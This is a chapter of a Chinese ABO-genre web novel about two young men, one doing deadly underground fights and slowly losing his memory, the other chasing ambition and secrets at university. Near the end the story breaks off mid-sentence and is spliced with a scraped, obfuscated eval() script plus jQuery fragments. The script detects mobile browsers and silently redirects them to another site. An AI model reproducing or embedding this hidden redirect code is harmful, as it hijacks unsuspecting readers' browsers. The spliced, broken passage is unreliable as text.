51.人生五步之后两步(alpha吴天语和omega洛熙)[番外]
作品:《小池泷历险记【女A男O】》 变化是什么?
听人说,变是外在形态的比旧不同,化是内在核心的重新塑成。
变化一定是好事吗?
对吴天语来说,他也不清楚。
大一的洛熙开始住校,明明两人有独立的房屋,他却选择拥挤的宿舍。
理由是:我有些别的打算,周末会回家。
或许也不算拥挤,因为上学的omega很少,那座建成用来彰示平等的宿舍,放几十个洛熙也绰绰有余。
望着光脑,吴天语手指来回摆弄了很久,终究选择熄灭屏幕。
不回来也好,正好他跟老板接了新业务。
新的业务,和过去相比,强度提升较大,连带伤痕也会多,而且更明显。
而单位里的那台过时的医疗机,怕是不能轻易让这样的外伤迅速愈合。
但是每个周末前,一定得愈合,不然会被洛熙发现。
一句“擅长赚钱养家”,可不能说说而已。
但很快,吴天语发现,连周末,洛熙回来的间隔,也越拉越长。
他好像总是很忙,忙着去抢喜欢的课、去操作室泡着、甚至去图书馆也不需要吴天语陪着了,学校的图书馆,只要有学生证,他可以看到一切他喜欢的书。
说这些话的洛熙很漂亮。
像……像什么呢?吴天语思索,像每次他休息时矿泉水瓶上被阳光照亮的水珠、像下班经过糖果店时omega喜欢的麦芽星星糖。
尽管吴天语不懂什么是生物解剖、什么是无菌操作,连洛熙书本上的图画都看不明白,但他还是真心地感到高兴。
那匹阴险狡诈、斗志昂扬的狼,终于找回了方向。
假装没看到洛熙偷偷藏起的衣袖,吴天语想,哪怕找回的路途,好像很累。
对于吴天语,两点一线的生活,不新鲜的日常、无聊的日常,每每他也只能对洛熙说一句“以后再说”。
所以,就算不回来也没关系,吴天语想,反正也没什么话好说。
他转头,脸刚好映在镜子里。
奇怪,吴天语皱眉,他以为自己仍像洛熙喜欢的那样笑着,然而却是面无表情吗?
终于第四个月,吴天语有了一点点自己的“谈资。”
工作的时候,他遇到两个人,一个胖乎乎、眯眯眼,配合着复古的爆炸头,像一个五彩缤纷的雪人。一个瘦高高、戴眼镜,却有个粉色的锅盖头,像夏日汽水广告上画的滑稽小人。
他俩都是beta,吴天语最喜欢的性别。
“老兄,你是这个,”阿瑞亚,也就是那个雪人,比了个大拇指说,“啧啧,太狠了、太狠了。”
擂台周围的人群激奋,尖叫着、怒吼着往吴天语身上扔钱,顺带将阿瑞亚的脸也狠狠挤在全息围绳上,勒出了红痕,嘴唇都上翻了一半,可这个人仍旧絮絮叨叨:“打街拳的狠人那么多,打死拳的可就你一个。哥们儿你啥事儿能去豁命啊!”
不在乎身上的打赏,吴天语靠在柱子上,紧紧盯着上方的显示屏。
口腔内的皮肤尽数破碎,耳边嗡嗡作响,吴天语感受不到鼻子的存在,咳嗽了几声,觉得,好像肋骨也断了几根。
尽管眼前迷蒙一片,他仍看见了屏幕上的数字,是四个月以来最高的一次。
他忍不住咧开嘴笑了,不知道自己现在的模样,但旁边的“雪人”连连惊呼“恐怖”,怕是不能好到哪儿去。
太好了,他想,他可以给洛熙买很多的书,各种各样的纸质图书。
接着,吴天语眼前一黑,雪人吱哇乱叫地更厉害了,还是粉头发的那个人,叫李光,把老板叫了过来。
再次醒来时,他躺在熟悉的医疗仓内。
外面有两个人在说话。
“他不可能答应的,既然打死拳,就一定是很需要钱。”这人听起来言语稳重,深思熟虑。
“但是生命只有一次啊,以他的学历、经验啥的,找不到什么正经工作,干这个也比打死拳强吧。”这人听起来跳脱乐观,就事论事。
“麻烦你小点声,在人家眼皮子底下挖人,还这么叫嚣!”前者似乎把后者的嘴巴捂住了,吴天语听到一阵“唔唔”声。
他推开仓门,坐起身来,两人被吓了一跳,双双站了起来。
“哎呦你伤还没好,快躺下吧。”相对较胖的那个人表情夸张,估计自己的模样仍旧不太好看。
果然,自己咳嗽了一声,胸口仍旧隐隐作痛。两只脚腕的淤肿鼓得老高。
而高个儿的那个人,给两人做了自我介绍。
吴天语知道他们,从他打街拳时,这两个人总来看,虽然玩的钱数不多,可总是押自己。
这俩人不像其他来的人,吴天语输了的时候,还被人围堵过。他俩不论输赢,从没变过脸,有时会偷摸给自己买些街边便宜的小吃。
胖胖的那个叫阿瑞亚,高高的叫李光,他俩似乎形影不离。
后来吴天语找人偷偷打听过,原来这两人也是受灾分配来的,甚至跟洛熙还有自己是同一个村子。
只不过交集较少,从不认识。
两人犹犹豫豫,吴天语温和地说:“说吧,什么事?”
于是两人说明了来意,大约就是,俩人现在在混帮派,但是领头大哥想“开疆扩土”,手底下却没人,两人一直看自己打拳,就想到了自己,结果再来的时候,自己已经“换工作”了。
“我大哥虽然地盘小,但人仗义,”阿瑞亚拍拍胸脯,“不会亏待你的。”
想起两人抠抠搜搜的模样,吴天语暗暗认为,这话水份很大。
“总比你现在打死拳强,再说,你都赚这么多钱了,干嘛不找个先进点的医疗机……”阿瑞亚还没说完,就被李光捣了一拳。
“他这人,说话不过脑子,多担待,”李光身上些做作的书香气,“你可以考虑考虑,想必你的家人也不会想看你这样。”
动之以情,晓之以理。
吴天语看到光脑上多打进来的钱,估计昨晚那位远道而来的老板十分满意,再抬头,他拒绝了他们的“好意。”
我的家人,洛熙算吗?
他不确定。
最终,两人在阿瑞亚小声吐槽着“越有钱越抠,连光脑都舍不得换”的声音中离开了。
老板允许吴天语在医疗仓内多呆一会儿,吴天语道了谢。
叼着烟,老板倒三白的吊梢眼满是精光:“没事没事,这点不算什么。”
只是吴天语没想到的是,这两人似乎没有轻易放弃的打算。
柜子里多了一瓶不算昂贵的蛋白粉、菜市场的商贩总会在瞄过自己身后就便宜几块、连总是路过的糖果店在今天都硬塞了自己一张“一等奖券”。
望着手里的五颗星星糖,丰富多彩的颜色让它看起来美味极了。
而且,它的价格也注定,它必然是十分好吃的。
吴天语笑了笑,在洛熙不回来的某个周末,他第一次招待了家中住客以外的客人。
为此,他从旧货市场提前淘了两把椅子。
新的世界,修补椅子的吴天语想,会和洛熙一样快乐吗?
好像会。
三人的关系逐渐变好,尽管在阿瑞亚眼里,吴天语仍“不知悔改”地打着死拳;李光也总是会拉住冲动的某人,然后给吴天语递上一管伤药。
“偏方,用这个治跌打损伤,十分厉害,据说是古星传下来的方子。”
“得了吧,他就是怕死!老爱买些乱七八糟的保健品!”阿瑞亚毫不留情地戳破,“就他这副眼镜都是为装文化人买的,没上过学,瞎折腾啥啊!”
于是两人恼羞成怒,大打出手。
吴天语收起药膏,笑着,也不阻拦。
哪怕跟好友,他也不像在洛熙面前那样,喜爱说话。
原来比邻星有洛熙常说的“大海”、住宅后面的荒山藏着一棵会开花的树,阿瑞亚会酿低成本却好喝的果子酒送给商贩和邻居,但总是教不会李光和吴天语这门制酒的手艺。
“我们三个是一辈子的兄弟。”树下,三人喝着难喝的果子酒,波光粼粼的大海见证了誓言。
穿衣、习惯、喜好、眼界,吴天语产生了变化。
唯一不变的,是他在碎片化的时间中,仍旧见缝插针地想起洛熙。
阿瑞亚和李光问起他打拳的缘由时,吴天语仍旧还是一样回复:“以后再说。”
洛熙大二的开始,吴天语送他开学。
在巍峨庄严的学校门口,一堆人打在了一起。
穿着制服的,是学校的安保人员,看到其余的两个身影,吴天语却心中发沉。
将洛熙赶忙送进了大门,看到他头也不回地离开,吴天语快跑过去,拨开不知何时围上的人群,将四人分开。
“天语!”顶着一张青紫的脸,破皮的嘴角哆嗦着,阿瑞亚的表情像是看到救星,“快来帮忙,这群狗眼看人低的家伙,竟然欺负在这里摆摊的beta奶奶!”
“恶人先告状!”保安扬着手里的短棍也不甘示弱,他们衣着外协,说话也流畅得很,“你们这群地皮流氓,天天在这儿瞎溜达找事儿,欺负学生,还殴打无辜群众!”
“哎呦,疼死我了疼死我了。”另外一个保安,将帽子一扔,露出大汗淋漓的头发,就坐到地上撒泼了起来,“现在还找帮手,一个alpha,来欺负人!”
“胡说!”李光珍爱的眼镜,此刻早已不知所踪,他眼角肿起,脸颊上还有道长长的红痕,“明明你们嫌弃人的!”
他转头望去,那个摆摊的人却不知在哪里。
周围的人,大多数是学生,看见这一幕,开始窃窃私语。
吴天语耳朵灵敏,舆论并未偏向他们这一方。
“走吧。”吴天语拖起两人,他也紧张得很,怕被人发现自己和洛熙的关系。
“咦?”一道温和的声音传来,“你不是洛熙的……”
吴天语不敢回头,他此刻无比恼怒,却又只能死死压着,手下的动作又快了几分。
阿瑞亚两人看出他情绪不对,虽然茫然,却也抓紧起身,准备跑走。
“正好,洛熙也在这里。”那个漂亮的alpha说道,这句话彻底冻住了吴天语的脚步。
他不知道该不该转头,可空气中苦杏仁的味道弥漫着淡淡的压抑。
他还是转过了头,张开嘴,却不知道说什么。
不幸的是,旁边的人替他接了下去:“我认识他!他在黑市里打死拳的!我母亲还压过他的注呢!”
人群哗然。
接着,他们看向洛熙的眼神也产生了变化。
幸灾乐祸。
如果吴天语知道这个词,他现在,就一定不会迷茫于,该如何形容这种看到的、充满黑色的眼神。
“比起这个,我校规定学生不允许进黑市,”那个漂亮的alpha瞥了出声的学生一眼,声音仍旧温和,可那个学生却被银色眼眸中凌冽的寒意吓了一跳,“自行退学。”
瞬间,人群再次变了,这次,他们噤若寒蝉。
包括,那两个保安。
“我觉得,你们或许可以去我办公室坐坐,刚好,给这两位做下处理。”好心的教授提议。
“不必,”这次是洛熙开口,他脸上仍旧挂着恰到好处的笑容,不生气也不惊奇,不尴尬也不着急,似乎眼前的这一幕与他无关,“我还要上课。”
伴随着他无所谓地离开,人群也散开了。
离教授很远的地方,却仍能看到鬼祟的回头和窃窃私语。
那位教授仍站在原地。
阿瑞亚和李光更是在原地,动也不动。
慌张的眼神,暴露了他们如锅上蚂蚁一样焦急。
“带他来我办公室吧,”终于,还是那位教授一锤定音。
在保安谄媚的目光中,两人扶着吴天语,踏进了他们这一辈子都可能不会进入的地方。
被人带走的吴天语却十分木然,他只觉得天地间一片空白,自己也是那抹空白。
空白的地方,有些早已被他忘记的片断闪过:粗粗的针管、戴着口罩拿着光脑的人和一只蓝色小狗玩具。
“砰!”巨大的震荡终于让他回神。
将头回正,对面的好友脸上满是惊愕。
漂亮的alpha满意地甩甩手:“醒了?”
“你是。。。谁?”吴天语茫然问道,眼前的人有种说不上的熟悉。
好友的脸色变得更凝重了,莫非是一巴掌把人打傻了?
“嘶,”漂亮的alpha动动手指,小声询问,“你记得洛熙吗?”
“嗯,”一听见这个名字,吴天语就忍不住勾起嘴角,“你是洛熙的熟人?”
这下,教授的表情也凝重了起来。
他随意地从桌上拿起一样物品,询问道:“这是什么?”
等了一会,吴天语才回答:“嗯……相框?”
接着他又指了许多物品,吴天语虽然都答得上来,却反应极慢。
“刚才的事还记得吗?”突如其来的询问,吴天语愣了一下。
随即,他笑起来:“记得。”
“没关系,我可以离开他,我攒了很多钱,不知道您什么身份,但能不能麻烦您,帮帮他。”说这话时,吴天语十分平静,“我不想因为我,让他听到些不好听的话,他受到的待遇,已经够不好的了。”
想起洛熙书皮上被修复带反复粘贴的痕迹、想起洛熙袖子上被烫坏的破洞,吴天语能感受到的,只有抱歉:“他生气是应该的,本来就是我做得不对。”
一旁义愤填膺的阿瑞亚被李光再次拉住了。
“唉,他是我最喜欢的学生,”那个漂亮的alpha说道,“一直想学我的课,但我不允许。”
“为什么?”吴天语不解。
“他在做一些我不赞同的事,虽然我能理解他的处境,”银色眼眸多了几分沉重,但他表情却多了些调皮,“你千万不能离开,作为和好的契机,只要你答应一直在他身边,我就同意他的上课申请。”
“那个孩子啊……”说起洛熙,教授长长地叹了一口气,表情里有种“恨铁不成钢”的无奈,“他比谁都能吃苦,比谁都冷静,比谁都聪明,唯独,喜欢撒谎。”
“撒谎可不是一个好习惯。”阿瑞亚接茬,李光向他投来指责的眼神。
“没错,”教授翻到并未因为阿瑞亚的插嘴而介意,说道,“谎言带来谎言,像滚雪球一样,最终压死的,不仅仅是撒谎的人,还有因为谎言而受到牵连的人。”
很奇怪,吴天语一时半会有些理解不了教授说的意思,但他听明白了洛熙上课的事。
于是吴天语点点头,他想,就算以后不能出现在洛熙眼前了,他也不会离开他。
只是他的鼻头,总是莫名萦绕着一股压抑的杏仁味。
洛熙早就知道吴天语的事,尽管吴天语一次又一次地敷衍自己。
家里偶尔有带血的衣服出现,多了两把椅子,他的穿衣风格变了、笑容多了、连话都说得多了,洛熙都知道。
吴天语自以为他瞒得不错,实际上,只是洛熙不在乎、装得看不见而已。
或者说,不完全在乎。
每学期的学费都能准时到账,省钱的同时加上天语给的零花钱,他可以买很多书。
自学了程序修改、辅修了生物专业,通过光脑,洛熙接触的东西,范围早就不限制在这所学校里。
尽管因为年幼时社会化不足,让他在大学期间吃尽苦头。
但得益于学医得天独厚的优势,他对人类生理上的了解极为透彻。
因此,研究新人类的表情与交往,也是小菜一碟。
大一时,被霸凌吃的苦,在下学期时,早就双倍奉还了回去。
甚至还交到了一些有用的朋友。
废寝忘食的学习和兼职,他早就忘了家里还有一个人存在。
偶尔想起来,却发现光脑上没有任何信息。
洛熙知道,吴天语怕打扰他。
这就是他最喜欢吴天语的一点,无论吴天语做什么,自己总是他的“选择主心。”
他已经不会对吴天语像小时候一样“撒娇”,认为两人需要苦苦地相依为命。
或者说,在有些事成功之前,他需要把吴天语放在一边,反正他根本不会跑。
所以,他一开始也没想解决两人没有共同话题的事,反而在知道他有朋友后,觉得松了口气。
毕竟能自掏腰包、到处送人果子酒的朋友会坏到哪里去?
包括今早的事也是,他没有别的想法,只是一想到吴天语肯定会因此苦恼、难过、悲伤等等,反正所有负面词汇都可以用上吧,他只是觉得麻烦。
翻翻排得满满的日程表,洛熙叹了口气,想:还是得回去开解下他。
这是,尚教授突然叫他去办公室。
察言观色、推测人心,洛熙早已驾轻就熟,可尚教授的呼叫,仍让他心有惴惴。
这个温柔的教授,有个和外表不一样的、深沉的内心。
到达办公室时,尚教授正在用笔写着什么。
他的笔迹很好看,清俊优雅,而且和教授一样,洛熙也喜欢纸质的东西。
办公桌上,尚教授总会放一个空空的相框,洛熙问过是什么,他却不说。
作为学校里最年轻的学生、最年轻的omega和最优秀成绩的保持者,大多数人对洛熙都是嫉妒或者不屑的。
而尚教授在他面试时,就为他说话,那双银色眼眸中,看自己和别的学生没什么区别。
他的课堂上,任何一种性别都能来听课,往往爆满。
他的实验室,任何一种性别都有使用权,挤不进去。
明明是最高高在上的人,却和吴天语一样纯净,他的身上,洛熙看到了年幼时那本杂志上说的“平等。”
这就是洛熙尊敬这位教授的原因。
当然,他也知道,这位教授为什么从不允许他来上课。
对于这位教授的尊敬和喜欢,虽然仍不足以摆弄天平那头的东西。
可洛熙也时常遗憾,尚教授的专业能力,是业内顶尖,虽然他没有在央星最好的学校任职。
所以,听到新消息时,早已“喜怒不形于色”的洛熙也露出了真心的笑容。
只是,因为太开心,他没在意教授允许他听课的前提。
“我知道你在做什么,洛熙,”双手合拢交叉,尚自流镜框后的眼睛透露着担忧,“替考代考、帮写论文,这些我都不计较,毕竟什么专业都能考好、什么内容的论文都能写好,这是你来之不易的能力。”
“可侵入星联生物数据库、或者买卖资料证据,”食指在桌子上重重点了两下,尚自流严肃地说道,“你必须停止。”
看着洛熙闻言、那震惊忧心的样子,尚自流没有任何放松:“不要拿你应付别人那一套来应付我,我知道你的目的和伪装,但我可以明确告诉你,这件事的真相,不是现在的你能承担的。”
“而且,”尚自流叹气,果然自己的这位学生,粉黄深处,藏着的全是不甘心,“困难的东西我们可以简单掌握,有些简单的东西反而越难抓住。”
好吧,16岁的omega眼里已经满是不乐意和不耐烦。
尚自流不打算继续说教,转而问道他和吴天语的关系。
“兄弟。”犹豫了好一会,洛熙才回复。
年轻的教授内心复杂,抬抬轻快的镜框,深思:年轻人的感情如此复杂且不坦诚吗?明明两人看起来,不仅仅是兄弟那样的关系。
但他不知道,年轻的学生心中认为,在退无可退的条件下,嫁人,是他跨越阶级、获取资源最好的捷径。
那个人,不能是吴天语。
而尚自流的这句话,也让洛熙打消了回家的想法。
再努力一下,他想,我得尽快行动,不能让自己落入退无可退的境地。
没办法,洛熙只能在光脑上给吴天语发了一句:“换工作。”
虽然吴天语好像很喜欢这份“工作”,或者说,吴天语喜欢“工作”,无论做什么,都能让他找到价值。
那是他对自己和母亲的证明。
因为,洛熙知道,吴天语会称呼那个肮脏的地方为“单位”,赌狗的提成叫“工资”。
又恰好,这份工作赚的钱,会让两人过得不错。
这是吴天语自认的“一举两得”。
但,确实不能让他再继续了,藏在衣服底下的伤口,明明可以换一台高级的医疗机,吴天语却全部存在账户里,等洛熙安排。
本来,洛熙曾想过自己可以抽空去问问,哪里买得到最好的家用医疗机。
只不过,一直没抽出空来。
现在,换工作了,用到的几率更是小之又小,不必再问。
自觉已经尽力,洛熙准备心安理地去学习。
好在没有回家,因为光脑上来了另一个好消息,洛熙从星网上申请到一个机会,他要去央星进修生物学。
平日可以往返两地来回听课。
只是必须要在半个小时内回复。
不屑于这些人对待omega的小把戏,洛熙得意洋洋地选择了“同意。”
毕竟,自己也有这个实力,又拜托朋友在网上造的势,逼对方必须发出邀请函,洛熙喜欢看这些人被打脸的模样。
于是,他向吴天语又发送了一条讯息,洛熙想了想,随手写道:“我在学校得到一个很重要的机会,需要去操作室和实验室实习两年,尚教授会带我,吃住都在这里,不必担心,不要唠叨,我会照顾自己,你换工作以后,也要好好照顾自己。”
他深知,吴天语绝对不会来打扰自己,更何况,他的身边还有朋友。
吴天语也不会怀疑,因为,他和他的那群朋友,压根不知道大学的真正样子。
只是,他似乎忘了告诉吴天语,他没生气。
第二天,吴天语便和阿瑞亚他们去帮派报到了,打拳的老板扣了吴天语几万星币作为“违约金”,虽然两人并未定下过什么合约。
阿瑞亚又要跑去给吴天语出头,这次,吴天语赶在李光之前拦下了他。
比起再次被人看到,吴天语更想在新工作里好好努力。
于是两人问到他换工作的原因,听到回答后,两人既震惊又担心。
可理亏的两人也不好说什么,他们向吴天语道了歉,如果不是自己多事,或许他还和洛熙会好好的。
“我们是一辈子的兄弟。”吴天语这样回复。
于是,三人的“混混小队”成立了,吴天语仍旧不太爱说话,所以一般就跟在两人后面,随便溜达。
偶尔从路过的小混混手里,磨磨唧唧地抢点钱花花。
所以说,变化是好的吗?
吴天语摇摇头,说:“不是。”
洛熙大三结束那年,吴天语已经连门长什么样子都快记不得了。
一点点看见自己变坏,吴天语不算平静地接受了。
他不舍得打坏家里的东西出气,和朋友出门时,也变得更加少言寡语。
点头、点头、点头。
是他唯一能做的事。
他害怕过,却不能去医院。
从他小小年纪离开那个地方,就没再去过医院,他痛恨医院。
可突然有一天,他想,会不会未来某天早晨醒来,连洛熙都不认得?
于是,他慌张地翻出洛熙的相片,又拿出阿瑞亚和李光的照片,放在床头。
每日醒来,心中甚至还多了一丝安慰:“太好了,这些人,我还记得。”
他不知道自己会变成什么样。
他偷摸给自己找了很多偏方,阿瑞亚还感慨他怎么比李光还好骗。
他去过洛熙的大学,门口的保安笑着说帮他联系尚教授,他却害怕地逃跑。
他不再带好友回家吃饭,好友问起,他只能沉默,两人便理所当然地觉得是难言之隐。
他将门紧紧锁起,不管是好友频繁的慰问,还是其他人的来临,都被他挡在了外面。
偶尔会有清醒的时候,他会默默整理被弄乱的东西,拿起门口李光两人放的补给,绝望于自己的无能为力。
自己该如何和自己抵抗?吴天语不明白。
然后,然后就习惯了。
习惯了而已。
当大三毕业的洛熙完成大学全部的课程,早两年从学校毕业,拿着梦寐以求的结业证明,了解到他想知道的一切时,推开家门,迎接自己的,是一片狼藉。
鞋子和蔬菜被一起放进了锅里、冰箱里的剩下的东西早已腐烂。
椅子整齐地平放在地面,还摆着一个枕头,床上却放着餐桌。
沙发上盖着窗帘,窗户大开。
原本温馨的地方,唯一正常的,是床头被相框包裹极好的三张照片。
吴天语坐在星视前,听见开门声,他转头回来。
那个永远不会跑、不会离开、不会抛下他的人一脸惊喜:“洛熙,你回来了!”
他将洛熙的名字咬得格外重。
洛熙看见,和两年前一样温和笑着的人,眼中有两行清泪滑下。
窗外,阴雨即至的狂风毫无阻拦地吹进屋内,将两人的发丝吹得全乱。
感受到前所未有的凉意,洛熙握住手把的指尖不受控制地颤抖着。
“对不起。”吴天语笑着说道。
被洛熙抱住时,肩膀上的沉重和温热,让他突然想起母亲。
于是,吴天语又说了一遍“对不起”。
我还是没有把洛熙照顾好。
终于,这一刻自然的规律完成了它的第四步运作。
两年的时间,这对师徒有了很深的默契。
尚自流桌子上那个空空的相框,也多了他和一个孩子的合影。
亚麻色的头发、琥珀色的眼睛,冰雕玉琢的一个小孩,优雅而老成地坐在桌前学习。
他的旁边,尚教授一只胳膊撑在桌面,另一只手搭在小孩的座椅后背,静静看着小子认真的表情。
和看学生不一样的是,他温柔的眼眸深处有种更复杂的东西。
“这是谁?你怎么舍得填满相框了?”修学期间,洛熙曾问。
“你的师兄,这个孩子,我对他的教导,比你们都早。”尚教授回复,看到洛熙不可置信的表情,他耸耸肩膀,“这个相框本来就是满的,只是应该进这个相框的人不同意,所以就换上了我最骄傲的学生。”
“我不是吗?”洛熙没在意,随口开玩笑。
“你让我认一个即将叛变的人,做最骄傲的学生吗?”尚自流无奈地笑,“你知道的,我一直不同意你的做法。”
“可你还一直教导我。”洛熙耸肩。
“因为,你总有一天,要有求于我。”那位教授扶住眼镜,叹气。
现在,他又做了同样的动作。
“你很清楚,这是什么病吧。”尚自流低头去翻找柜子。
“是,这样的人,按理,早就被统一收集,不知所踪了。”洛熙抓住吴天语的手,此刻他又犯病了,茫然无措地打量着四周,紧紧依靠在洛熙身边。
像一只寻找母鸡翅膀下的幼崽。
想起吴天语被收养的那晚,洛熙很容易就猜到他的来历。
只是没想到,自己的家乡,竟然就是“监狱”。
“你要扔下他吗?”尚自流仍旧在翻找着,好像随意地问道。
“别说胡话了,教授。”洛熙烦躁地皱眉,“我做的一切,就是想和他过不被束缚的日子。”
“不是复仇吗?”尚自流往桌子底下又钻深了几分,“我还记得,你一年前从央星时崩溃的样子,怎么样,你接触的人告诉你全部了吗?”
“那是我自己凭本事调查的,”想起自己在央星忙碌的日子,洛熙萌生了一种奇特的心情,他甩甩头,将这样无能的想法剔除出去,“我们相互利用而已。”
“与虎谋皮。”终于,尚自流将一沓厚厚的资料从桌下端了上来,此刻他发丝微乱,脸上还有淡淡一抹灰尘,但亮晶晶的银眸有着明媚的俏丽,“在你后悔之前,我给你一年时间考虑。”
“我不会有这样的情绪,”再次皱眉,想起刚才的心情,洛熙讨厌老师总是提起这个词语,“什么一年时间?”
“你知道识别障碍者的宝贵,他们的偶然性,让这样的群体数量不算太多,加上央星的管制,导致样本稀少。”包裹住资料的油纸被小心打开,尚自流的眼睛也越来越亮,“这是我和团队这么多年关于他们的研究,只是后来实在找不到样本,才被迫减缓进程,但我们从未放弃。”
“我们想和世界证明,他们也有生存的权利,”尚自流看向洛熙,总是温润的眼神,此刻缺像燃着熊熊烈火,“没想到天语的病症会发展得这么快,他似乎和以前的志愿者有些不一样。所以,有你和天语的加入,我想一年时间,说不定就可以做到。”
“你为什么不早说,你明明知道天语的病情!”洛熙暴起,碧蓝的发丝遮挡不住粉黄眸子的愤怒,吴天语紧紧跟随着他,看到他的模样,瑟瑟发抖。
“我不确定,洛熙,我没法通过一点点特征去确定天语的病情,而且以往的志愿者,也不会在两年内,恶化到这一阶段,”尚自流并未退缩,他坐在原处,双手护着那摞资料,不介意洛熙几乎整个趴在他办公桌上的冒犯,“而且我曾经多次试图去找过天语,他却总是避而不见。”
“我不止一次地暗示你,去看看身边的东西,你觉得最好把握的、简单的东西,”尚自流和洛熙对视,他明白这位年轻人的心情,但是他毫无留情地戳破最后的一层遮羞布,“就算我明说,你就会放弃央星的事情,放弃和飞燕的接触吗?”
缓缓站直身体,洛熙看着抱住自己胳膊,像孩童一般的人,明明十多年,他一直都是给自己遮风挡雨的人。
但他也清楚地知道,自己根本不会回来,或者把天语接去。
因为他会从老师这里知道,这个病,按理说,短时间内不会过于严重。
“谎言无法堆砌幸福。”尚自流这样说道。
看着仍像一柄钢枪一样挺着的学生,作为老师,他总是忍不住叹气。
“我们正在进行一项适应性替代实验,为期一年,如果你和天语愿意,可以参加,”尚自流清楚洛熙的脾气,“你不是一直信奉‘不会后悔’吗,那你就继续往前走吧,反正结果也不会比现在更差了。”
于是,吴天语趁着清醒时,和两位好友道别,尽管多次强调自己会回来,也不需要什么东西,可好友仍旧将钱不断塞进自己怀里。
“等你回来还我。”李光的眼睛终究还是没找回来,也好,现在虽然失去了虚假的书卷气,却显得更真了。
而一旁阿瑞亚的话更是直白,他指着陪同的洛熙说:“虽然我们不喜欢你,也不信任你,但你却占据了天语的全部,他只听你的话,所以你不要太坏了。”
深深吐出一口气,洛熙实在懒得跟两人计较,毕竟,自己也从未信任过,吴天语这两个来自街头的朋友。
接着,便进入了尚自流的实验室。
实验室的地方很隐秘,小巷尽头的一家服装店。
门头低调,装潢复古,但成衣前面,小小的价格牌子,后面跟的0多得离谱,还有定制业务。
“古星以前有一部电影叫‘王牌特工’,”尚自流带着两人进入试衣间,扭动挂钩,墙面缓缓打开,露出一部类似古星时代使用的老电梯,“虽然里面的好多东西,以现在的角度看,实用性不高,但无论情怀还是基调,确实浪漫又华丽。”
“你们不是第一对踏进这部电梯的人,但希望你们第一对可以走出来的人。”尽管洛熙一直冷着脸,而吴天语又在重新认识自己,可尚自流仍旧自顾自地说着。
“那些人呢?”冷脸的omega问道,内心深处忍不住担心。
“别怕,没什么生离死别的事儿。只是这一对对的人中,正常的那个往往会忍不住离开。”
电梯门缓缓打开,眼前的景象让洛熙觉得震惊。
先进的仪器设备,有些,甚至洛熙在央星,也只能从书本里见到。
“不正常的那个在我们的保护下,也会寿终正寝,只是——”
几个穿着工作服的人,看见来人,纷纷投来目光。
果不其然,各种性别都有。
“他们的内心,一直会觉得孤独。”
一位alpha将洛熙的工作服递了过来,众人拍手,欢迎新成员的加入。
一位beta将蓝色检查服也递给吴天语,众人鞠躬,像他表示尊重。
“听说你不喜欢白色,我们就挑了这种天蓝色,很好看。”一位omega研究员说到,她手中光脑上,复杂的结构式在不断旋转,“谢谢你的牺牲。”
牺牲,吴天语觉得心中被狠狠撞了一下,鼻尖酸酸。
他想,他喜欢这个词。
好像说出这个词的人们,都认识到了自己。
然而现实并不像一开始的那样美好。
实验并不是一帆风顺,甚至没有好转的迹象。
主要原因,是吴天语的症状恶化速度过快,甚至一天比一天快。
他每次浑浑噩噩,再次醒来时,能记住的只有三个名字:洛熙、阿瑞亚和李光。
这也是以前的志愿者从未出现的情况。
他们往往会笼统地忘记一切,连陪自己来的那个人也不再记得。
只是最近,吴天语浑浑噩噩的时间越发长了,间隔也越来越短。
众人面色沉重,尚自流取下眼镜,揉揉多日未曾合上的双眼,安慰道:“先去休息吧,明天开始,大家都放下手头的任务,优先找到天语恶化速度过快的原因吧。”
坐在实验椅上的吴天语面色平静,此时他难得恢复了清醒,看到这一幕,他心中也不好受。
尽管他还记得他最想记得的信息,却不想给大家出这样的难题。
看向洛熙,一向意气风发的omega,此刻眼底也满是青灰。
洛熙陪他回去房间的路上,吴天语想了想,还是忍不住问道:“对不起,我要是、能记很多,你们,很开心。”
“不是这样的,天语,”洛熙看着吴天语的侧脸,尽管看不到表情,他也知道此刻吴天语一定很愧疚,“你不需要愧疚,实验嘛,有困难是一定的,而且新情况的出现,意味着样本数据多样化,对研究的贡献也是很大的。”
然而这样的话似乎并未安慰到他,洛熙站定,他捧住吴天语的脸,两人四目相对:“你不需要去记住每一样东西,因为不是所有东西都值得被你记住,只要不忘记你不想忘记的东西,对我来说,就是最大的安慰。”
洛熙从未跟吴天语说过这样长的话,因为以前扮演这样“唠叨”角色的人,总是吴天语。
自从来了实验室,吴天语的话却越发说不上来,洛熙必须要多说,才能将两人的“说话总量”勉强弥补到过去的程度。
他不想,让吴天语觉得孤单。
“你,最棒。”翘起嘴角,吴天语脸色终于好转,他伸出手,弯下腿比了一个小小的高度,“从小,棒。”
两人继续向前走。
洛熙忍不住笑出声,打趣地问:“话说,你从来到家里,就没觉得,我很奇怪吗?”
“明明我没出过门,也没上过学,可你带给我的书,我都能看懂。”
吴天语摇摇头,这些事在他看来不重要。
他也有自己的秘密。
“可是我想告诉你,”自从来到这里,明明两人的交流比以前少了很多,但彼此却更加了解了,“我5岁的时候,某天晚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15173068|155610||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,窗外有人说话。”
“一个人说,是他吗?”
“一个人说,就他吧。”
“我没法判断他们的性别,但是在梦里,一团光问我,想不想了解这个世界。它给我展示了我不曾见过的画面,大海、山脉、人群、城市,这对5岁从未出过门的我来说,是做梦都不会出现的场景。”
“作为交换,我长大后,要替它做些事。我答应了。”
“醒来时,我自然地知道了妈妈的光脑会定时打开,光脑要怎样使用,我的脑中,多了一种名为‘拼音’的东西,还有手边放着一本厚厚的字典。”
“我看完了妈妈的书柜,第二天,一只黑色的小鸟,携着刀片,划开了我的防护网,带来了不同的书册,供我翻阅和学习。”
“我不知道母亲是否发现了这件事,毕竟那个时候,她竟然一下子就能找到那个洞口,将我扔给你。”
“后来你来了,奇怪的是,小鸟却不来了,光脑也坏了。我至今不知道怎么回事,辅修生物,我却找不到关于那只小鸟的信息,或许这个世界,真的有‘神’存在吗?虽然它只短暂地陪了我一会,直到你替代了他们。”
